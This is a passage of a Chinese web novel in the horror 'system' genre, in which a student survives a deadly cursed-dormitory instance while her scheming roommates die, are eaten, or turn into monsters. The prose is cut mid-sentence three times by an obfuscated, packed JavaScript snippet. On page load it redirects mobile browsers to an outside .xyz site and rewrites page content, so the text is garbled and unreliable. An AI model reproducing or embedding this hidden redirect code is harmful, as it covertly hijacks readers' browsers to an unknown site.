但正如张和月所说，她的技能只是让人恐惧，并没有实际上的伤害。 晏无波敢直面王艺静的死亡，又怎么会被技能搞到失智求饶。 她摸着自己不受控制立起来的鸡皮，反问道：“王艺静不是被你害死的吗？” 如果不是张和月丢衣服给她，王艺静的耳堵怎么会蹭到血。 张和月瞳孔骤缩，瑟缩的退了好几步，技能也随之停止。 林薇暗骂张和月没用，她将人拉回晏无波的床前威胁道：“快滚下来！你以为我在和你商量？这里是诡异世界，你死了都无人在意！” 说着，她扯起张和月那只受伤的手臂，向晏无波的方向递了递。 “现在可没有垃圾桶了，你身上要是沾血，可不好办吧？” 晏无波嘴唇紧抿，她想给这两个人机会，但是…… 她们不值得救。 三人僵持着，时间一秒一秒地度过，手机时间迈向22点整。 头上的白炽灯依旧亮着，林薇和张和月没发觉出不对，依旧向晏无波逼近。 然而就在林薇想要继续说话的时候，却发现自己的嘴巴开始发麻。 紧接着，一股无法抗拒的僵硬感从她的脚底板开始，迅速向上蔓延。 林薇立刻察觉到不对，她一把推开站在她后侧方的张和月，僵着腿脚扑向自己的床位，攀着栏杆艰难地往床上爬。 张和月本就心神失守，被她这一推，直接摔倒在地。等她踉跄着爬起来的时候，僵硬已经蔓延到膝盖。 她也想往自己的床铺攀爬，但她的手臂本就受伤，此时腿也不好用，无论如何都踩不上栏杆。 张和月的皮肤以肉眼可见的速度失去血色，变得青灰。一块块暗紫色的斑点如同尸体上的痕迹，逐渐爬上她的手臂与脖颈。 “救……救我……”她眼珠子惊恐地凸出，死死地盯着林薇。 等到斑点蔓延至脸部，张和月再也无法动作，身体如同一截枯木，直挺挺倒在地上。 她怨恨地盯着林薇，恨不能将她扯下床。 但同时，她又很疑惑：为什么？她说话的声音很低，没有触犯规则啊！ 难不成是她们说话时间太长了，时间到了23点？ 晏无波读懂了，但不想解释给她听。 现在重生文那么多，谁知道别人有没有这个狗命。 逃上床的林薇脱下袜子，将裤脚挽到膝盖处查看。因为逃离及时，尸斑停留在脚腕处，没继续尸化。 她毫不犹豫地用天赋技能治愈，但技能没有使用成功，也没进入冷却。 对于治愈技能而言，尸化不是伤害，而是诅咒，不归它管。 林薇再次翻开手机时间，上面显示23:01分。 和张和月怀疑自己不同，林薇在威胁晏无波的过程中精神没有动摇过，她确信自己没有超时间。 不是她的问题，那就是手机、也就是这个副本的问题…… 时间有诈！ 想明白了的林薇摸着自己尸化的脚，愤恨地看向晏无波。 怪不得晏无波这么早上床睡觉，宿管一定用什么办法告诉过她，否则她怎么会这么淡定。 这女人……真是太过分了！ 倒在地上的张和月尸变没有结束，从斑点处开始，她的身体以极不符合常理的速度快速腐烂生蛆。可即便这样，她也没有“死亡”，只能眼睁睁地看着自己的肉被啃咬。 时间一点一滴过去，晏无波坐着，林薇躺着，张和月在地上生不如死。 寝室寂静得可怕，蛆虫蠕动和啃咬的细小声音清晰可闻。 不知过了多久，宿舍门被推开。 宿管阿姨眼神扫过地上无法动弹、像烂肉堆一样看不出人形的张和月。 “没有时间观念的都是垃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407684|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圾！这坨垃圾我就收走了。”她从垃圾桶里拿出一根扫帚，然后将垃圾桶放躺，将张和月用力扫进桶内。 张和月口不能言，喉咙不停发出绝望的呜咽声。 最后一只蛆虫被扫进垃圾桶，宿管阿姨合上了垃圾桶的盖子。垃圾桶内出现了“嘎吱嘎吱”、犹如啃食骨头一般的咀嚼声，里面的人像是还活着，不断发出惨叫。 嘎吱，最后一块坚硬的骨头被嚼碎，惨叫不复存在。 晏无波心脏怦怦直跳，手心不断冒汗。直面诡异之后她才明白，为什么有的人即使从副本活着出来，还要选择自杀。 对于这些人而言，不得好活，也不得好死，自我了断还能痛快些。 林薇紧紧闭眼，依然没看，但声音足够让她作呕。胃液涌到喉咙，又被她生生吞下。她被子捂住头，想隔绝这些声音。 然而宿管嗅了嗅，拽着垃圾桶走到林薇床前，用扫帚一下挑开被子，恼怒道：“不听话！这双脚也是垃圾！” 她舌头一伸，林薇双脚齐齐断开。 突如其来的疼痛让林薇差点尖叫出声，她紧紧咬着被子才把叫声咽下。 柔和的白光闪过，林薇对自己施展了治愈。 她双脚的断口快速止血并缓缓长出粉嫩的新皮，但失去的部位无法复原。 疼痛感渐消，林薇松开咬着被子的嘴，颤抖着抓着身下的床单，目光呆滞地看着天花板蠕动的血管。 宿管轻轻“啧”了一声，她把断脚扔进垃圾桶，又要出门。然而等她走到门口，却冲林薇阴森森地笑：“这个小同学真没素质，为什么每次都不主动扔垃圾？” 林薇愣了两秒，忽然起身往身下看去——即便技能使用及时，床上依然染了血。 糟了！ “我现在……呃！” 宿管的舌头灵活得像条鞭子，它缠住林薇的脖子阻止她开口，并把她往地上拉。 林薇吓得魂飞魄散，她甚至能闻到这根舌头腥臭的气息。 手链不用不行了！ 她用力扯断手链，断裂的手链立刻发出嗡鸣，同时，淡淡的银光覆在林薇身上。 与银光接触的舌头像被灼伤一样，眨眼就糊了半边，甚至还有向宿管本体扩散的迹象。 宿管连忙收回舌头，惊疑不定的看着林薇。 晏无波被这变故惊到，看向那条手链。被扯断后，它以极不正常的速度老化龟裂，恐怕再有几秒就彻底化为灰烬。 作为使用者，林薇清楚地知道这个问题。她顾不得疼痛和恐惧，手脚并用地将身下那团浸满鲜血的被褥团起来。 就当她想把这团被褥扔进垃圾桶，她傻眼了。 垃圾桶远在宿舍门口，盖子还是合上的。 凭道具剩下的时间和她残缺的腿脚，她就算扔进去，也来不及上床！ 铺天盖地的绝望涌入林薇心中。 眼珠颤动，她的余光扫到了和她对床的人影身上。 那人像陌生人一样沉默地看着这一切，将她的狼狈全看在眼里。 凭什么？ 林薇又一次在心里问道。 都是第一次进副本，她凭什么被优待？凭什么安然无恙！ 林薇的眼睛布满血丝，望了眼遥远的垃圾桶，最终下定决心。 “晏无波，一起死吧！”她用尽全身力气，将沾血的被褥向晏无波甩去。 5. 第 5 章 浸透了血液的被褥在空中散开，遮住了头顶的白炽灯，宿舍陷入片刻间的昏暗。 早在林薇看过来的时候，晏无波就知道不妙。但面对像大网一样往她头上盖的被褥，她没有丝毫慌张。 这个副本是新人副本，即便新人违反规则，也留有一定余地。 张和月大喊大叫，头两次只是划伤她的身体。 王静和林薇没扔垃圾，宿管先装作要走，确定她们真的没有扔以后才对其出手。 11点上床也并非必死规则，如果林薇不是因为疼痛大意，她甚至用不到手链。 晏无波将外套盖到头顶包住自己，这样即便是沾到血，也只需扔一件衣服。 然而她被子还没碰到她，一条糊舌头就以更快的速度窜到空中，眨眼间将东西卷走。 “哐当。”垃圾落桶，林薇身上的光芒也消失殆尽，手链化作一摊灰烬。 一击未成，林薇又出第二招。 她用力抠破自己刚长出嫩皮的脚腕，让鲜血流到掌心。 液体可不像被褥那么好拦，她倒要看看这一人一诡怎么办！ 林薇一边接血，一边紧张的等宿管来杀她。但血接满了掌心，宿管也没对她做什么，而是背对着她看着晏无波。 什么意思？ 被褥落到垃圾桶里就不用继续杀了？ 林薇憋屈得要死。 早知道这样，她就不抠破新皮了。 冲动过后的痛意上涌，但比痛更让她在意的，是手里的血怎么办。 她为难地看着血和床上的手链灰烬，心一横，把它们全部舔到肚里。 晏无波手里捏着两张纸币，“阿姨，辛苦了。” 虽然这忙帮不帮问题不大，不过至少能让她少损失件衣服。 “不辛苦！这都是阿姨应该做的！”宿管的腮红激动到亮成荧光色。 冰凉又湿滑的舌头拂过晏无波的手，两张纸币消失不见。 因为舌头还卷着纸币，宿管说话含糊不清的：“你等阿姨下，阿姨找点零食给你吃。” 说完，她把门口的垃圾桶拖到晏无波床铺前，阴森地看了林薇一眼，颠着乐成上下两半的头跑了。 林薇愤恨地看着宿管的背影，暗骂她脑子有病。 多杀一个人对她又没影响，有必要防她一手？ 不过事情发展到这个地步，她再蠢也明白了：至少在这个副本内，和晏无波对抗没有好处。 她的保命手段都用没了，副本也进行到后半程，只差明天早上7点出宿舍。 更重要的是，她不知道什么时候才是真正的7点。 既然如此，不如先认怂，和晏无波一起行动。她有宿管协助，肯定能出副本。 出了副本之后再找她算账！ 晏无波收回看向宿管的目光，转而去看林薇。 林薇的思绪被打断，浑身一僵。 先不谈她和晏无波交恶多年，单指她刚刚还对晏无波下杀手，现在要服软，她也搞不清楚要怎么做。 “晏……”林薇发出一声气音，但话刚冒头，又咽了回去。 她不敢看晏无波，尴尬地垂头坐在床上，努力想怎么认怂才不突兀。 晏无波也在努力想。 想怎么才能在这个副本杀了林薇。 或许是她天生冷血，在林薇与张和月想要抢她的冥币的那刻，她就下定决心不让这两个人活着走出副本，完全没有犹豫、害怕之类的过渡情绪。 如果不在这里除掉林薇，等回到现实社会更难处理。 不谈林薇的表哥，从林薇进副本以后的表现看，她自己就是个狠人。 时间不知不觉来到了零点，“豪横无须多言”刷新。 晏无波虔诚祈祷了一番才使用技能。 【“豪横无需多言”使用成功，恭喜宿主获得冥币：10000。】 系统唉声叹气，对这个结果依旧不满。 晏无波知足，这次多一个0，下次就多两个0，未来可期。 又过了一会儿，宿管拎着两大包塑料袋回来了。 两个塑料袋一个乳白，一个灰黑。 乳白色塑料袋里面装的东西不多，外皮印着学校超市的名字。封皮隐隐透出薯片包装的绿色，还有几个白色圆圆的像是馒头的东西。 灰黑色的那个鼓鼓囊囊，没有字体，看不出来装的什么。袋子外壁蠕动个不停，像里面装了章鱼。 她双手举起，将两个塑料袋展示给晏无波看，“阿姨也不知道你爱吃什么，都给你拿来了，你要哪个？” 晏无波哪个都不想要。 不过，宿管是从哪拿的学校超市的塑料袋……变成副本的不止这一间寝室吗？ 她又掏出三张冥币递过去，“破费了，买这些东西得不少钱吧？” 宿管激动得快晕过去了，她一个月工资才二百冥币，今天短短几小时就挣了小半年工资！ “还好还好，白袋子没花钱，都是其他寝室的同学们给的。”至于具体是怎么给的，别在意。 她把两个袋子全放到晏无波床上，两只手接过冥币，脸上满是谄媚，“黑袋子是我珍藏了很久的野味，人诡，平常很难遇到。这只时间有点长了，味道没新鲜的独特，但也不错！” 冥币落到宿管手里，晏无波正好消耗1000冥币。 【叮！新手任务：初来乍到，已完成！】 【任务奖励已发放至背包。】 黑袋子里的东西软糯有弹性，放在床上还跳了几下，并发出低低的闷吼，代表它还没死透。 人诡啊……听起来不妙。 晏无波没去看道具，盯着那个黑色袋子不知道在想什么。 黑袋子袋子系口处残留着的浓稠晶莹的黏液，和袋子系口纠缠在一起的几根黑色头发好似活着一般摇动。 察觉到晏无波的视线，系统默默给自己加固了几层数据屏障，有气无力道：“你要是想吃跟我说一声，我屏蔽一下视觉模块。唉，人类的食谱好怪哦……” 晏无波：“……” 谁想吃了！明明是诡异的食谱怪好不好！ 宿管是“最好的朋友”，所以她不会主动伤害人类，也不会故意拿 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“但我发誓。”林薇伸出三根手指头指天，“我以后肯定再也不敢了，出去以后我会给你一笔钱，无偿帮助你完成学业。啊，对了，学校周围的房子也随你挑。你要是想考研，我家里也有些门路……” “条件随便你提，我只求你饶我一命！” 林薇半真半假地说着，情到深处，她自然而然地泣不成声。她描绘着出去之后的美好蓝图，用金钱、地位、乃至悔过的情谊，编织一张想让晏无波心软的网。 晏无波静静地听着，没有嘲弄与反驳。 对方过去的小动作没怎么让她吃亏，所以她没放在心上。 至于林薇喜欢她、想和她做朋友？那跟她有什么关系，喜欢她的人多了，自残博取她关注的也有，但她绝不会因此产生情感负担。 况且以林薇的性格，出去以后别说报答，更大可能是让家里人暗暗弄死她。 总而言之，对晏无波来说，她浪费了宝贵的几分钟听了段废话，影响不到她的决定。 “阿姨。”晏无波对宿管说道：“这只人诡给我舍友吃吧，她流了很多血，需要吃点东西补充。” 规则1：宿管是你们最好的朋友，请听从她的安排。 如果是宿管“安排”让林薇吃的话，林薇没办法拒绝的吧。 宿管收起看戏的表情，表示非常乐意帮这种忙。诡异的天性就是喜欢看人类玩反目成仇的戏码，这比她亲自动手可有意思多了。 不过人诡对她而言确实是好东西，给出去是为了让学生爆冥币，都给穷鬼有什么用。 宿管扯开黑色塑料袋子，舌头在里面比划了下，掏出一个经过切割的半圆状、由头发纠缠而成的东西。 这东西即使被划成了两半也没死亡，纠缠的黑色发丝间，密密麻麻的眼球若隐若现。眼球从缝隙中窥视着外面，流出淡红色的血泪。 “便宜你了。”宿管将掏出的半圆用舌头递给林薇，冷哼道：“快吃！” 6. 第 6 章 林薇惊惧地盯着那团东西，从长相来看，它比宿管要恐怖十倍。 这怎么可能吃下去？！ “我、我不饿。”她转头又朝着晏无波的方向疯狂磕头，“无波，你和阿姨说一声，我……” 没等她说完，宿管把那半东西往林薇床板上一摔，怒道：“别给脸不要脸，这么好的东西，一般诡要我还不给呢！你是不是不听我的安排？” 那半颗东西咕噜噜滚到林薇腿边，把林薇吓得肝胆俱裂，她此刻也想到了第一条规则。 她必须听宿管的安排…… 晏无波感觉林薇还得做好久的心理建设，便没管那边，打开神豪系统的面板查看道具宝箱。 神豪系统重新打开了视觉模块，给晏无波做讲解：“新手任务给福利，背包里这只黄金宝箱是最高级的，以后就没有这种待遇了。以后会根据任务等级，发放牛皮纸、塑料、铁、铜、银、金，六种等级的宝箱，其中金色宝箱有纯金、纯金镶宝石、金镶玉等不同的变化，越贵越值钱。” 晏无波数了一下，宝箱等级和副本等级还挺像。副本等级也是E、D、C、B、A、S六种。S以上是SS、SSS…… “开开开，让我看看都给什么好东西。”系统比晏无波还激动，金元宝在边框上疯狂打滚。 晏无波伸出意识，轻轻点开了宝箱。 没有漫天金光，也没有夸张的音效，宝箱盖子无声开启，两片小小的、薄如蝉翼的东西飘出来落进道具格子里。 那是一对美瞳镜片，颜色是极淡的金色，在虚拟光幕的映照下，仿佛熔化的金箔。 【VIP的美瞳】 【品质：S】 【效果：根据观测目标品质和自身品质，每分钟将花费不定量冥币查看目标的数据面板。无冷却时间，观测技能随开随用。观测目标品质不得超过道具品质，否则道具会有损坏风险。】 【备注：没什么是我们尊贵的VIP会员看不了的。】 这么好！ 晏无波眼神一亮。 她心念微动，那对美瞳便从道具栏中消失，下一秒，她的眼球传来一阵微凉的触感。 镜片完美贴合，没有任何不适，跟没戴东西一样。 晏无波将视线投向宿管。 “查看。”她心中默念，黑色的眼珠变成美瞳的淡金色。 【您当前品质为E-，目标品质为D，越级观测需要付费五万冥币/分钟，是否观测？】 晏无波瞄了瞄她的冥币，只有一万。 东西是好东西，就是使用条件太严苛了。 系统撇嘴，“才不严苛，谁叫你手这么臭，你要是抽到100万冥币，现在就能用20分钟了。” “20分钟也不多啊。”晏无波点了点抽奖技能，“我就算天天抽中顶额，一天也不过20分钟，观测的还是D，要是更高级的，说不定我一分钟都看不到。” 金元宝说不过她，被她气得背过身去。但是它前后两面长得都一样，看不出来什么差别，只是声音闷了些：“谁叫你等级这么低，等你D级的时候，看D级就没这么贵了……而且‘豪横无须多言’还能升级，升级了上限就提高了嘛……” 晏无波抓住元宝搓了搓，“知道了，我努力升级。” “你别摸我屁股！” “好好好。” 看不到宿管，晏无波转而看向还在跟头发半球对峙的林薇。 两人同为E-级，这次只需要10冥币/分钟。 她使用的是神豪系统给的道具查看，所以展开的个人面板不再是血肉边框，而是华丽的金色边框。 【姓名：林薇】 【等级：1】 【生命值：85/100】 【精神值：60/100】 【力量：4】 【敏捷：5】 【体力：5】 【智力：6】 【魅力：7】 【天赋：治愈（冷却中）】 精神值竟然扣掉了40。 晏无波展开自己的面板和林薇做对比。 【姓名：晏无波】 【生命值：100/100】 【精神值：100/110（受天赋“冷静”加成）】 没有受到伤害，但是精神值也下降了10点。 是其他人的死亡场景对她产生了冲击吗？ 那边，宿管已经失去了耐心，她掀开垃圾桶盖子暴怒道：“既然不听我的安排，那就别住这里！” 林薇见晏无波真的不打算替她说话，恨恨咬牙，闭眼从那团东西上扯下一大撮头发放进嘴里。 那团东西即使扯下来也是活动的，在她口腔里乱钻。 林薇恶心的胃酸上涌到喉咙，她用力咀嚼着，将这些活动的东西全部碾碎，然后才吞下。 然而，那几根头发看似坚韧，但用牙齿研磨后便化作一股冰凉的液体。 滑入喉咙后，一股微弱但清晰的力量感，从四肢百骸涌现出来。 林薇呆愣愣地睁眼，诡异世界的系统提示出现在她眼前。 【力量+0.1】 她下意识点开诡异系统面板，力量的属性值后面，果真多出了0.1！ 林薇的心脏疯狂地跳动起来，她自觉发现了一个大秘密！ 怕晏无波也发现这个秘密，她不敢把喜悦表现在脸上，脸上依旧挂着惊恐和嫌恶。 可她的手出卖了她的想法，一个劲儿地薅着她的头发往嘴里塞。 看着提示不断“+0.1”，林薇暗爽不已。 怪不得宿管不舍得给她，吃这个竟然会有这种好处。 等出去，在杀掉晏无波之前，她一定要把这个消息告诉她。 真想看看，晏无波知道自己的谋划为她做了嫁衣会是什么表情！ 她一边假哭，一边享受着属性增加的快感。 晏无波戴着美瞳，已经发现了林薇属性增加，以及……林薇精神值飞速下降的事。 每增加0.1的属性，精神值就跟着下降5点。 一会儿的工夫，林薇的精神值降到了危险的30点。 半个人诡的头发已经被林薇薅秃了，她意犹未尽地抹抹嘴，仿佛面前的不是恶心的发团，而是一块美味的小蛋糕。 在她的视角里，这团东西确实不可怖了。它莹润的眼珠子看向她，可怜又可爱。 不、不对…… 林薇盯着自己的面板使劲晃了晃头。 她的精神值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407686|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太低了，不能继续吃了。 等下，30不算低吧，还能吃几口。 不不不，她怎么能有这种想法，太冒险了……冒险？ 哎，她在想什么来着？ 加属性，对！她要继续加属性！ 林薇捧起眼珠，一口咬了上去，眼珠爆出的液体扑了她满脸。 但眼珠子没有任何作用，林薇的属性值没有增加，精神值也没有下降。 “不是这个……我还要吃，晏无波，你快给我买！”她放下眼珠子冲晏无波嚷。 晏无波从兜里又摸出五张百元冥币，递向宿管，“我室友身体太虚弱了，剩下那半边都给她吧。” “你这孩子，就是心善！”宿管的眼珠子瞬间黏在了冥币上，手上袋子一抛，精准地落在林薇床上。 人诡生命力顽强，两个半球努力往一块拼凑。 林薇还没彻底傻，知道要瞒着晏无波吃东西，只是表情越发做作。她对着晏无波撕心裂肺地哭喊：“晏无波！你好狠的心啊，为什么这么对我！” 她喊完，抓起大把大把的头发往嘴里塞。 【精神值：25/100】 【精神值：20/100】 当林薇将四分之三的“人诡”吞下肚后，她的力量属性达到了7点，但精神值也跌到了10点。 她的动作开始变得奇怪，不再是粗暴地撕扯，而是像在品尝什么绝世美味，优雅地将黑发放入口中。 脸上那副憎恨的表情也消失了，取而代之的是一种迷醉和幸福。 “好好吃啊……怎么会这么好吃……” 宿管哼了一声，“现在知道好吃了？像我能害你们似的，这东西多难找啊。” 林薇沉浸在自己的世界里，像是听不见外界说话。她不停喃喃自语，时不时伸出舌头舔舐嘴唇。 晏无波看到，林薇的舌头上竟然出现了一颗小小的、不停转动的眼珠。 幻视、幻听、幻触……接踵而至。 林薇眼中的世界，彻底变了。 那蠕动的发团，变成了堆满奶油和草莓的多层蛋糕。 宿管阿姨那张可怖的脸，变成了慈祥的奶奶。 而对床的晏无波，则柔顺地匍匐在床，变成了她想让她成为的哈巴狗模样。 “嘿嘿、嘿嘿……”林薇痴痴地笑着，声音像下水道的污泥一样粘稠。 【精神值：5/100】 林薇的身体渐渐向非人转变。 她的皮肤下，有什么东西在疯狂涌动，顶出一个又一个鼓包。 噗！噗！噗！ 鼓包破裂，一颗颗带着血丝的眼球从皮肤下挤了出来，布满她的脸颊、脖颈和手臂，贪婪地窥视着这个世界。 她的双腿渐渐消失，取而代之的，是不断增生的、蠕动着的发丝。 【精神值：0/100】 林薇……不，林薇已经消失。现在坐在晏无波对床的，是一只由头发和眼球组成的、全新的人诡。 宿管惊喜异常：“太好了，又找到一只！” 成为诡异的林薇不再受规则限制，也不再受规则保护，被宿管三两下塞进袋子里，献宝似的递给晏无波。 “孩子，这个新鲜，要不要吃这个？” 7. 第 7 章 人诡，由人变成的诡。 所以，并不是人吃诡会加属性，而是人吃人？ 林薇吃的那只，或许是其他学生……不，宿管说这个她珍藏了很久，或许是某个不知名的玩家。 想到是自己指挥这场“人吃人”的行为，即便有冷静天赋加持，晏无波的精神值也不断“-1”。她能快速适应诡异世界，也能无负担的杀人，但不代表她没底线。 神豪系统看得心焦，立刻跳出来安慰：“不要给有负担，那只是团诡异，即便名字上还有人字，也不是人！” 晏无波一直掉落的精神值缓缓稳定，固定在80点。 宿管又问了她一遍要不要吃。 晏无波声音沙哑，“不用了阿姨，我不饿。” 宿管馋得哈喇子老长，晏无波刚说完“不用了”三个字，她就把发团掏出来。 晏无波攥紧拳头，观察着变成人诡的林薇是否还有人的意识。 人诡在宿管手上蠕动，但没有明显逃跑的意图，像只刚出生的懵懂动物。 宿管大张着嘴一口下，像嗦面条似的把乱舞的头发吸溜到嘴里。 人诡不懂躲避、不懂攻击，发出阵阵哀嚎，淡粉色的液体从密密麻麻的眼珠中汹涌流出。 食客从不理会食物的感受，宿管一口接着一口，狼吞虎咽地把球塞进嘴里。 “还是新鲜的好吃！” 一餐终了，宿管满足地打了个嗝，喷出一股恶臭的气息。 他意犹未尽地舔了舔嘴唇，从怀里拿出一个袖标递给晏无波，“孩子，阿姨要去处理其他垃圾。你累了就安心的睡，睡不着就出门溜达溜达，别出宿舍楼就行。这是管理员袖标，明早8点前都能用。” 晏无波掐了大腿一把，提起精神应付宿管。 【物品名称：管理员的袖标（代）】 【品质：E】 【效果：袖标管理员下放部分权利的凭证，佩戴袖标可行使管理员部分权利，仅在怨念宿舍（E）副本有效。】 宿管看晏无波戴上袖标后，才拖着垃圾桶转身走出宿舍。 原本的四人寝，只剩下晏无波一个人。 神豪系统又说道：“看到了吧？人诡不能算人，它没有灵智。具象化的“属性”不是你们人类社会的东西，所以人类死了之后，“属性”无法与人类共同消亡。它们会作为遗留养分，储存在异化的□□中，通过消化输送给其他的人或诡。” 虽然在某种程度上，还是在吃人肉，但晏无波心里好受多了。 “谢谢。” “不客气，你该谢的。” 空气中还蔓延着恶臭，晏无波没有吃东西的胃口。她将白色的零食袋子拎远一些，小心翼翼地走下床。 既然宿管明示她能在宿舍楼内随意走动，那当然要出门，有东西不用算浪费。 脚尖落到地面后，晏无波等了十几秒。待身体没有出现异常，才两只脚落到地面。 戴上袖标之后，走廊外面的景色也不同了。之前透过观察窗，她只能看到外面一片漆黑，现在则变成和宿舍墙壁一样的血管状墙壁。 晏无波半只脚踏出房间，走廊没有任何变化。 她松了口气，慢慢走到门外。 走廊静悄悄的，两侧和异变前一样是各个寝室的门。但原本走廊尽头的墙壁消失了，走廊变得更长，像是把这栋楼另一个单元的男寝也纳进副本中。 晏无波先没管其他寝室，一边打量着走廊有没有规则，一边抬脚上了五楼。 沈炙在512，不知道她那里是什么情况。 有惊无险的来到512门口，晏无波掀开一点观察窗，朝里面喊道：“学姐，你还好吗？” 沈炙整个被褥都没了，穿着睡衣窝在床上。听到晏无波的声音，她还以为是副本给她下的套，心里不停默念着：“阿弥陀佛……南无观世音菩萨……阿门……钟馗保佑……” 晏无波推开门，走进去站在她床前低声道：“别害怕，我是晏无波。我来是想和你说声，这个副本的时间有问题，显示7点的时候你先别下床。” 话都说到这份儿上了，沈炙有点相信对方是真人了。她睁开眼睛，眯缝着去看晏无波的脸。 “波波！”沈炙还记着不能大声吵闹，看清人后压低声音惊喜道：“你怎么过来的？” 晏无波简要地说了下自己的情况，略去了林薇把被子抛向自己以后的事，只说她下床去扔垃圾没成功，被宿管弄死了。 沈炙光是听着就吓得要死，她搓着自己身上的鸡皮疙瘩道：“还好、还好我怕死……我不知道怎么才算垃圾，就把能扔的都扔了，提前上床躺着。对了，既然诡异世界的时间提前1个小时，那手机时间6点就可以出寝室了？” “不好说。”晏无波对此不乐观。 “你继续躺，我还要去别的寝室看看。对了，我们两个对下时间。一旦我死了，不能回来通知你，你就自己数着秒数猜时间，别信手机。” 晏无波说得轻描淡写，但沈炙却哭了。她扯着晏无波的衣领，眼泪像水龙头一样喷射出来，“你别去了，就在这和我一起等吧。” 晏无波拍了拍她的手背让她放手，“我有袖标，不会有事的。” 沈炙想问晏无波袖标是哪来的，她又是怎么知道正确时间的？但是话到嘴边，她还是咽了下去。晏无波没主动跟她提，她还是别问好了，总归晏无波不能害她。 安抚好沈炙后，晏无波在心中问系统：“现在几点？” “系统时间凌晨1点50分，接入的诡异世界时间1点50分。” 时间又统一了？ 晏无波心道果然不能用固定比例推测时间。 和沈炙告别后，她又按照班级、同年级、整个女寝、男寝的顺序通知。 做这些并不是说晏无波是个好人，而是这些人全死了对晏无波也没有好处，救下来说不定还有几个懂知恩图报，以后需要的时候能用。 大部分寝室都被血洗过，剩下的幸存者不是够干净、就是和沈炙一样在开局把能扔的全扔了。像林薇与张和月那样在地上待到11点的是少数，没特殊事的话，大部分人更倾向早点上床，所以这部分人完全没发觉时间有异常。 对她稍微熟悉的人大多和沈炙一样信任她，但不太熟的人，对她态度两极分化。 有的人感激涕零，连声道谢；有的人看见晏无波的到来异常戒备，一连串质问晏无波是怎么知道这些的，她们又凭什么相信。 态度好点的晏无波肯给些解释，态度不好的晏无波直接关门，前往下一个寝室。 不过即使平时关系不错的人，面对生死也会暴露真实嘴脸。有个相熟的学妹天赋是鉴定类的，她看见晏无波的袖标激动万分，想趁她没注意偷偷拽下给自己。 晏无波当场抓住学妹的手，拉着她的胳膊想给她扯下床。但这间寝室平日里是卫生标兵，寝室没有脏污，四个人又谨慎，奇迹般的全活了下来。如果要杀她一个，还要继续灭其他三个人的口，省得她们出去宣扬。 她攥着学妹的手腕，在等这间寝室另外三个人的态度。 如果其他三个人也对袖标有想法，或者说一些和稀泥的话，那就…… 学妹被晏无波看得心里发毛，想为自己狡辩的话也说不出口，打着寒颤哭得梨花带雨。 另外三个人心里发寒，但寒得不是晏无波，而是她们的好室友。平常看着挺正常一人，关键时刻竟然恩将仇报！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407687|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你想做什么？”其中一个人骂道：“真不要脸，学姐好心提醒你，你还想偷人东西！” “太恶心了，怎么有你这样恶心的人啊！” “出去以后你自己去跟导员说换寝，别和我们在一起，贱死了！” 三人替晏无波打抱不平，如果是不是怕乱动触犯规则，她们都想直接上手替晏无波扯开。 晏无波轻轻笑了，心中杀意消散，甩开这位学妹的手，退出寝室。 身后的三人不知道自己刚从鬼门关转了一圈儿，对晏无波道谢后，继续骂着那名学妹。 不过有了这个意外，面对关系比学妹还好的人，晏无波提醒时也不再迈入对方寝室内，只站在门外。 凌晨三点，晏无波把女寝通知完毕，迈向多出来的男寝。 男寝的情况比女寝惨烈，有几个人把吸烟后的剩烟头往床栏杆的空隙里塞，过后自己忘记了、或者抠不出来被杀。 某位男同学和沈炙一样怕扔不干净，把能扔的都扔了。但他比沈炙更彻底，他连内裤也不要了，光屁股蜷在床板上。看见晏无波出现在门外，他捂着屁股臊得恨不能当场死过去。 “怎么是多人副本啊……我给你一百块钱，你能不能当没看见？” 晏无波贴心合上观察窗，安慰道：“我可以当没看见，但这栋楼只剩一个出口了，7点你还要出门。还是放宽心吧，没脸总比没命好。” “嘤……” 男寝也有好奇晏无波为什么可以行动自如的，有人自觉魅力与口才过人，软硬兼施让晏无波进他们房间“好好聊聊”。 晏无波没有那么多好心，一旦他们让她不爽，就立刻走人，一个字都不多说。 所有寝室走了一遍之后，晏无波没回自己的寝室，去了沈炙那里。 她坐在沈炙的对床，和沈炙一起等待7点的到来。 系统每隔一个小时就播报一次时间，但每次播报，真实时间和接入时间都有差异。 “时间是早上5点钟，外部接入时间为6点。” 昨天的诡异世界时间比真实时间早一个小时，现在变成了晚一个小时。 头顶的电灯突兀地熄灭，给人一种天亮了的错觉。 沈炙就被骗过去了，她低头看手机时间。按照晏无波昨晚的发现推算了一下，兴冲冲说道：“我们现在可以出去了吧？灯都灭了。” “再等等。” “哦……” 沈炙偃旗息鼓，继续躺下来熬时间。 “时间是早上6点钟，外部接入时间为早上八点。” 